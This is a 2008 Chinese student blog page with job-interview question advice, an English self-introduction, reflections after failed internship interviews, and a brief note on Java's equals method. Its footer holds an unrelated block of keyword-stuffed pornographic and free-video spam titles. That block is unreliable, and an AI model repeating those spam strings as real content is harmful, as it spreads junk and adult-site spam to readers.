        思路: 1、 一般可以這樣回答“我會(huì)給上級(jí)以必要的解釋和提醒,在這種情況下,我會(huì)服從上級(jí)的意見(jiàn)。” 2、 如果面試你的是總經(jīng)理,而你所應(yīng)聘的職位另有一位經(jīng)理,且這位經(jīng)理當(dāng)時(shí)不在場(chǎng),可以這樣回答:“對(duì)于非原則性問(wèn)題,我會(huì)服從上級(jí)的意見(jiàn),對(duì)于涉及公司利益的重大問(wèn)題,我希望能向更高層領(lǐng)導(dǎo)反映。”

        問(wèn)題十二:“我們?yōu)槭裁匆浻媚悖?#8221;

        思路: 1、 應(yīng)聘者最好站在招聘單位的角度來(lái)回答。 2、 招聘單位一般會(huì)錄用這樣的應(yīng)聘者:基本符合條件、對(duì)這份共組感興趣、有足夠的信心。 3、 如“我符合貴公司的招聘條件,憑我目前掌握的技能、高度的責(zé)任感和良好的餓適應(yīng)能力及學(xué)習(xí)能力 ,完全能勝任這份工作。我十分希望能為貴 公司服務(wù),如果貴公司給我這個(gè)機(jī)會(huì),我一定能成為貴公司的棟梁!”

        問(wèn)題十三:“你能為我們做什么?”

        思路: 1、 基本原則上“投其所好”。 2、 回答這個(gè)問(wèn)題前應(yīng)聘者最好能“先發(fā)制人”,了解招聘單位期待這個(gè)職位所能發(fā)揮的作用。 3、 應(yīng)聘者可以根據(jù)自己的了解,結(jié)合自己在專(zhuān)業(yè)領(lǐng)域的優(yōu)勢(shì)來(lái)回答這個(gè)問(wèn)題。

        問(wèn)題十四:“你是應(yīng)屆畢業(yè)生,缺乏經(jīng)驗(yàn),如何能勝任這項(xiàng)工作?”

        思路: 1、 如果招聘單位對(duì)應(yīng)屆畢業(yè)生的應(yīng)聘者提出這個(gè)問(wèn)題,說(shuō)明招聘單位并不真正在乎“經(jīng)驗(yàn)”,關(guān)鍵看應(yīng)聘者怎樣回答。 2、 對(duì)這個(gè)問(wèn)題的回答最好要體現(xiàn)出應(yīng)聘者的誠(chéng)懇、機(jī)智、果敢及敬業(yè)。 3、 如“作為應(yīng)屆畢業(yè)生,在工作經(jīng)驗(yàn)方面的確會(huì)有所欠缺,因此在讀書(shū)期間我一直利用各種機(jī)會(huì)在這個(gè)行業(yè)里做兼職。我也發(fā)現(xiàn),實(shí)際工作遠(yuǎn)比書(shū)本知識(shí)豐富、復(fù)雜。但我有較強(qiáng)的責(zé)任心、適應(yīng)能力和學(xué)習(xí)能力,而且比較勤奮,所以在兼職中均能圓滿完成各項(xiàng)工作,從中獲取的經(jīng)驗(yàn)也令我受益非淺。請(qǐng)貴公司放心,學(xué)校所學(xué)及兼職的工作經(jīng)驗(yàn)使我一定能勝任這個(gè)職位。”

        問(wèn)題十五:“你希望與什么樣的上級(jí)共事?”

        思路: 1、 通過(guò)應(yīng)聘者對(duì)上級(jí)的“希望”可以判斷出應(yīng)聘者對(duì)自我要求的意識(shí),這既上一個(gè)陷阱,又上一次機(jī)會(huì)。 2、 最好回避對(duì)上級(jí)具體的希望,多談對(duì)自己的要求。 3、 如“做為剛步入社會(huì)新人,我應(yīng)該多要求自己盡快熟悉環(huán)境、適應(yīng)環(huán)境,而不應(yīng)該對(duì)環(huán)境提出什么要求,只要能發(fā)揮我的專(zhuān)長(zhǎng)就可以了。”

        問(wèn)題十六:“您在前一家公司的離職原因是什么?”

        思路: 1、 最重要的是:應(yīng)聘者要使找招聘單位相信,應(yīng)聘者在過(guò)往的單位的“離職原因”在此家招聘單位里不存在。 2、 避免把“離職原因”說(shuō)得太詳細(xì)、太具體。 3、 不能摻雜主觀的負(fù)面感受,如“太幸苦”、“人際關(guān)系復(fù)雜”、“管理太混亂”、“公司不重視人才”、“公司排斥我們某某的員工”等。 4、 但也不能躲閃、回避,如“想換換環(huán)境”、“個(gè)人原因”等。 5、 不能涉及自己負(fù)面的人格特征,如不誠(chéng)實(shí)、懶惰、缺乏責(zé)任感、不隨和等。 6、 盡量使解釋的理由為應(yīng)聘者個(gè)人形象添彩。 7、 如“我離職是因?yàn)檫@家公司倒閉。我在公司工作了三年多,有較深的感情。從去年始,由于市場(chǎng)形勢(shì)突變,公司的局面急轉(zhuǎn)直下。到眼下這一步我覺(jué)得很遺憾,但還要面對(duì)顯示,重新尋找能發(fā)揮我能力的舞臺(tái)。” 同一個(gè)面試問(wèn)題并非只有一個(gè)答案,而同一個(gè)答案并不是在任何面試場(chǎng)合都有效,關(guān)鍵在于應(yīng)聘者掌握了規(guī)律后,對(duì)面試的具體情況進(jìn)行把握,有意識(shí)地揣摩面試官提出問(wèn)題的心理背景,然后投其所好。
    posted @ 2008-05-15 21:17 速溶人生 閱讀(288) | 評(píng)論 (1)編輯 收藏
    外企最?lèi)?ài)問(wèn)的十大問(wèn)題

    1.請(qǐng)介紹一下你自己。

      這是外企常問(wèn)的問(wèn)題。一般人回答這個(gè)問(wèn)題過(guò)于平常,只說(shuō)姓名、年齡、愛(ài)好、工作經(jīng)驗(yàn),這些在簡(jiǎn)歷上都有,其實(shí),外企最希望知道的是求職者能否勝任工作,包括:最強(qiáng)的技能、最深入研究的知識(shí)領(lǐng)域、個(gè)性中最積極的部分、做過(guò)的最成功的事,主要的成就等,這些都可以和學(xué)習(xí)無(wú)關(guān),也可以和學(xué)習(xí)有關(guān),但要突出積極的個(gè)性和做事的能力,說(shuō)得合情合理外企才會(huì)相信。外企很重視一個(gè)人的禮貌,求職者要尊重考官,在回答每個(gè)問(wèn)題之后都說(shuō)一句“謝謝”。外企喜歡有禮貌的求職者。

    2.在學(xué)校你最不喜歡的課程是什么?為什么?

      這個(gè)問(wèn)題外企不希望求職者直接回答“數(shù)學(xué)”、“體育”之類(lèi)的具體課程,如果直接回答還說(shuō)明了理由,不僅代表求職者對(duì)這個(gè)學(xué)科不感興趣,可能還代表將來(lái)也會(huì)對(duì)要完成的某些工作沒(méi)有興趣。這個(gè)問(wèn)題外企招聘者最想從求職者口里聽(tīng)到:我可能對(duì)個(gè)別科目不是特別感興趣,但是正因?yàn)檫@樣,我會(huì)花更多的時(shí)間去學(xué)習(xí)這門(mén)課程,通過(guò)學(xué)習(xí)對(duì)原本不感興趣的科目也開(kāi)始有了興趣,對(duì)于本來(lái)就有興趣的科目我自然學(xué)習(xí)得更認(rèn)真,所以各門(mén)課的成績(jī)較為平衡。通過(guò)這樣的問(wèn)題,外企可以找到對(duì)任何事情都很感興趣的求職者。

    3.說(shuō)說(shuō)你最大的優(yōu)缺點(diǎn)?

      這個(gè)問(wèn)題外企問(wèn)的概率很大,通常不希望聽(tīng)到直接回答的缺點(diǎn)是什么等,如果求職者說(shuō)自己小心眼、愛(ài)忌妒人、非常懶、脾氣大、工作效率低,外企肯定不會(huì)錄用你。外企喜歡求職者從自己的優(yōu)點(diǎn)說(shuō)起,中間加一些小缺點(diǎn),最后再把問(wèn)題轉(zhuǎn)回到優(yōu)點(diǎn)上,突出優(yōu)點(diǎn)的部分。外企喜歡聰明的求職者。

    4.你認(rèn)為你在學(xué)校屬于好學(xué)生嗎?

      外企的招聘者很精明,問(wèn)這個(gè)問(wèn)題可以試探出很多問(wèn)題:如果求職者學(xué)習(xí)成績(jī)好,就會(huì)說(shuō):“是的,我的成績(jī)很好,所有的成績(jī)都很優(yōu)異。當(dāng)然,判斷一個(gè)學(xué)生是不是好學(xué)生有很多標(biāo)準(zhǔn),在學(xué)校期間我認(rèn)為成績(jī)是重要的,其他方面包括思想道德、實(shí)踐經(jīng)驗(yàn)、團(tuán)隊(duì)精神、溝通能力也都是很重要的,我在這些方面也做得很好,應(yīng)該說(shuō)我是一個(gè)全面發(fā)展的學(xué)生。”如果求職者成績(jī)不盡理想,便會(huì)說(shuō):“我認(rèn)為是不是一個(gè)好學(xué)生的標(biāo)準(zhǔn)是多元化的,我的學(xué)習(xí)成績(jī)還可以,在其他方面我的表現(xiàn)也很突出,比如我去很多地方實(shí)習(xí)過(guò),我很喜歡在快節(jié)奏和壓力下工作,我在學(xué)生會(huì)組織過(guò)××活動(dòng),鍛煉了我的團(tuán)隊(duì)合作精神和組織能力。” 有經(jīng)驗(yàn)的招聘者一聽(tīng)就會(huì)明白,外企喜歡誠(chéng)實(shí)的求職者。

     5.說(shuō)說(shuō)你的家庭。

    外企面試時(shí)詢問(wèn)家庭問(wèn)題不是非要知道求職者家庭的情況,探究隱私,外企不喜歡探究個(gè)人隱私,而是要了解家庭背景對(duì)求職者的塑造和影響。外企希望聽(tīng)到的重點(diǎn)也在于家庭對(duì)求職者的積極影響。外企最喜歡聽(tīng)到的是:我很愛(ài)我的家庭!我的家庭一向很和睦,雖然我的父親和母親都是普通人,但是從小,我就看到我父親起早貪黑,每天工作特別勤勞,他的行動(dòng)無(wú)形中培養(yǎng)了我認(rèn)真負(fù)責(zé)的態(tài)度和勤勞的精神。我母親為人善良,對(duì)人熱情,特別樂(lè)于助人,所以在單位人緣很好,她的一言一行也一直在教導(dǎo)我做人的道理。外企相信,和睦的家庭關(guān)系對(duì)一個(gè)人的成長(zhǎng)有潛移默化的影響。

      

    6.說(shuō)說(shuō)你對(duì)行業(yè)、技術(shù)發(fā)展趨勢(shì)的看法?

      外企對(duì)這個(gè)問(wèn)題很感興趣,只有有備而來(lái)的求職者能夠過(guò)關(guān)。求職者可以直接在網(wǎng)上查找對(duì)你所申請(qǐng)的行業(yè)部門(mén)的信息,只有深入了解才能產(chǎn)生獨(dú)特的見(jiàn)解。外企認(rèn)為最聰明的求職者是對(duì)所面試的公司預(yù)先了解很多,包括公司各個(gè)部門(mén),發(fā)展情況,在面試回答問(wèn)題的時(shí)候可以提到所了解的情況,外企歡迎進(jìn)入企業(yè)的人是“知己”,而不是“盲人”。

    7.就你申請(qǐng)的這個(gè)職位,你認(rèn)為你還欠缺什么?

      外企喜歡問(wèn)求職者弱點(diǎn),但精明的求職者一般不直接回答。他們希望看到這樣的求職者:繼續(xù)重復(fù)自己的優(yōu)勢(shì),然后說(shuō):“對(duì)于這個(gè)職位和我的能力來(lái)說(shuō),我相信自己是可以勝任的,只是缺乏經(jīng)驗(yàn),這個(gè)問(wèn)題我想我可以進(jìn)入公司以后以最短的時(shí)間來(lái)解決,我的學(xué)習(xí)能力很強(qiáng),我相信可以很快融入公司的企業(yè)文化,進(jìn)入工作狀態(tài)。”外企喜歡能夠巧妙地躲過(guò)難題的求職者

    8.你期望的工資是多少?

      外企的工資水平是很靈活的,何種能力拿何種工資。外企喜歡直率的人,但這個(gè)問(wèn)題卻不能正面回答,外企希望聽(tīng)到:“以我的能力和我的優(yōu)勢(shì),我完全可以勝任這個(gè)職位,我相信我可以做得很好。但是貴公司對(duì)這個(gè)職位的描述不是很具體,我想還可以延后再討論”。外企歡迎求職者給其定薪的自由度,而不是咬準(zhǔn)一個(gè)價(jià)碼。

    9.你能給公司帶來(lái)什么?

      外企很想知道未來(lái)的員工能為企業(yè)做什么,求職者應(yīng)再次重復(fù)自己的優(yōu)勢(shì),然后說(shuō):“就我的能力,我可以做一個(gè)優(yōu)秀的員工在組織中發(fā)揮能力,給組織帶來(lái)高效率和更多的收益”。外企喜歡求職者就申請(qǐng)的職位表明自己的能力,比如申請(qǐng)營(yíng)銷(xiāo)之類(lèi)的職位,可以說(shuō):“我可以開(kāi)發(fā)大量的新客戶,同時(shí),對(duì)老客戶做更全面周到的服務(wù),開(kāi)發(fā)老客戶的新需求和消費(fèi)。”等等。

    10.你還有什么問(wèn)題嗎?

      外企的這個(gè)問(wèn)題看上去可有可無(wú),其實(shí)很關(guān)鍵,外企不喜歡說(shuō)“沒(méi)有問(wèn)題”的人,因?yàn)槠浜茏⒅貑T工的個(gè)性和創(chuàng)新能力。外企不喜歡求職者問(wèn)個(gè)人福利之類(lèi)的問(wèn)題,如果有人這樣問(wèn):貴公司對(duì)新入公司的員工有沒(méi)有什么培訓(xùn)項(xiàng)目,我可以參加嗎?或者說(shuō)貴公司的晉升機(jī)制是什么樣的?外企將很歡迎,因?yàn)轶w現(xiàn)出你對(duì)學(xué)習(xí)的熱情和對(duì)公司的忠誠(chéng)度以及你的上進(jìn)心。

    posted @ 2008-05-15 15:18 速溶人生 閱讀(162) | 評(píng)論 (0)編輯 收藏
    1.J2EE課開(kāi)了有兩周了,從今天起,決定在這里記下所有的J2EE筆記,包括老師上課講的所有內(nèi)容。
    2.面試被兩個(gè)公司鄙視,是自己基礎(chǔ)太差,從今天起,復(fù)習(xí)大學(xué)的基礎(chǔ)知識(shí)。
    posted @ 2008-05-12 19:25 速溶人生 閱讀(142) | 評(píng)論 (0)編輯 收藏
    大三了,正在找實(shí)習(xí)單位,也面試了幾個(gè)公司,都被人家鄙視了。坐下來(lái)思考思考,總結(jié)經(jīng)驗(yàn):知其然,知其所以然,繼續(xù)努力奮斗才是硬道理。
    回首三年,有多少事情值得回憶,而今天我們更應(yīng)該總結(jié)一下過(guò)去三年來(lái)的學(xué)習(xí)。
    面對(duì)每一次的程序課題,第一想到的就是上網(wǎng)找資料,遇到了問(wèn)題了不是“百度”就是“google”一下,將人家的結(jié)果copy下來(lái),之后沒(méi)有認(rèn)真研究過(guò)程序的具體內(nèi)容,只要能夠運(yùn)行就行。
    面試時(shí)公司考的都是基礎(chǔ)知識(shí),這下子自己完了,你不能說(shuō)讓人家“百度”或“google”找結(jié)果吧。我記得一次面試時(shí)面試人員問(wèn)了我一個(gè)java使用jdbc連接數(shù)據(jù)庫(kù)的過(guò)程的問(wèn)題,這個(gè)問(wèn)題真的太簡(jiǎn)單了,但是我卻沒(méi)有完全回答正確。以前學(xué)習(xí)時(shí),使用jdbc連接數(shù)據(jù)庫(kù)使用了N多遍,但就是想不起來(lái)。想想就后悔,其前每次使用時(shí),都是上網(wǎng)上收了一下,copy下來(lái),之后改改Ip之類(lèi)的,就跑起來(lái)了。
    以后學(xué)習(xí)時(shí),一定要事事弄個(gè)明白,多積累和總結(jié)經(jīng)驗(yàn)。

    第一次在Blog上發(fā)表自己想法,語(yǔ)句不連貫請(qǐng)見(jiàn)諒。
    posted @ 2008-05-12 19:21 速溶人生 閱讀(239) | 評(píng)論 (0)編輯 收藏
    Good afternoon, my name is <<<. It's really a great honor to have this opportunity for a interview. Now I will introduce myself briefly. I am 23 years old, born in LiaoNing provine, North east of China. And I am curruently a college student at HIT. My major is software engineeing, and I will receive my bachelor degree after my graduation in june of 2009. In the past 3 years, I spend most of time on study. I have got scholarship for two times and I have been monitor for two years. I'm good at communicating and cooperating. I like java language and play baskball very well. Thanks!
    posted @ 2008-05-09 16:37 速溶人生 閱讀(561) | 評(píng)論 (0)編輯 收藏
    6選4,我是另外兩個(gè)人,總結(jié)一點(diǎn):英語(yǔ)太差。
    posted @ 2008-05-09 16:22 速溶人生 閱讀(763) | 評(píng)論 (0)編輯 收藏
    剛開(kāi)J2EE的課程,想在這里記下所有的心得和感受,先來(lái)個(gè)java基礎(chǔ)知識(shí)--equals
    equals本事Object對(duì)象的方法,后被String繼承,使得我們?cè)谑褂蒙袭a(chǎn)生了混亂
    ObjectA.equals(ObjectB)比較的是ObjectA和ObjectB兩個(gè)對(duì)象是否指向同一個(gè)reference
    而在兩個(gè)字符串比較時(shí),它比較的是兩個(gè)字符創(chuàng)序列是否相同
    技巧:
    在使用equals比較時(shí),都是一個(gè)String變量string1.equals("string")
    但是這樣會(huì)有一點(diǎn)點(diǎn)地麻煩,如果變量string1=null怎么辦,編譯器就會(huì)拋出異常
    我們可以根據(jù)“交換原則”將其交換,"string".equals(string1),這樣就解決了null的問(wèn)題
    posted @ 2008-05-07 15:21 速溶人生 閱讀(336) | 評(píng)論 (0)編輯 收藏
    <2008年5月>
    27282930123
    45678910
    11121314151617
    18192021222324
    25262728293031
    1234567

    常用鏈接

    留言簿(1)

    隨筆檔案

    搜索

    •  

    最新評(píng)論

    閱讀排行榜

    評(píng)論排行榜

    主站蜘蛛池模板: 中文字幕视频免费在线观看| 亚洲Av无码乱码在线znlu| 国产做国产爱免费视频| 亚洲AV色吊丝无码| 亚洲国产精品自在线一区二区| 免费v片在线观看品善网| 在线观看免费人成视频色| 久久免费高清视频| aa级毛片毛片免费观看久| 欧美激情综合亚洲一二区| 亚洲xxxxxx| 久久久亚洲欧洲日产国码aⅴ | 亚洲AV综合色区无码一区爱AV| 免费女人18毛片a级毛片视频| 啦啦啦高清视频在线观看免费 | 亚洲AV永久无码精品| 亚洲天堂中文字幕在线| 国产精品无码一区二区三区免费 | 午夜亚洲福利在线老司机| 成人免费无码大片a毛片软件| 国产成人精品免费视频大全麻豆 | 亚洲国产精品线在线观看| 亚洲成A人片在线观看无码不卡| 中文字幕亚洲不卡在线亚瑟| 亚洲国产成人五月综合网| 国产成人在线观看免费网站| 日韩免费福利视频| 国产无遮挡吃胸膜奶免费看视频 | 亚洲精品无码日韩国产不卡av| 亚洲最大的黄色网| 亚洲码在线中文在线观看| 亚洲成人免费在线观看| 亚洲一区免费视频| 亚洲一区二区三区在线网站| 亚洲男人天堂2022| 亚洲人成网站色在线观看| 亚洲精品国产综合久久久久紧| 亚洲欧美日韩自偷自拍| 激情婷婷成人亚洲综合| 免费大片av手机看片| 久久国产精品免费一区二区三区|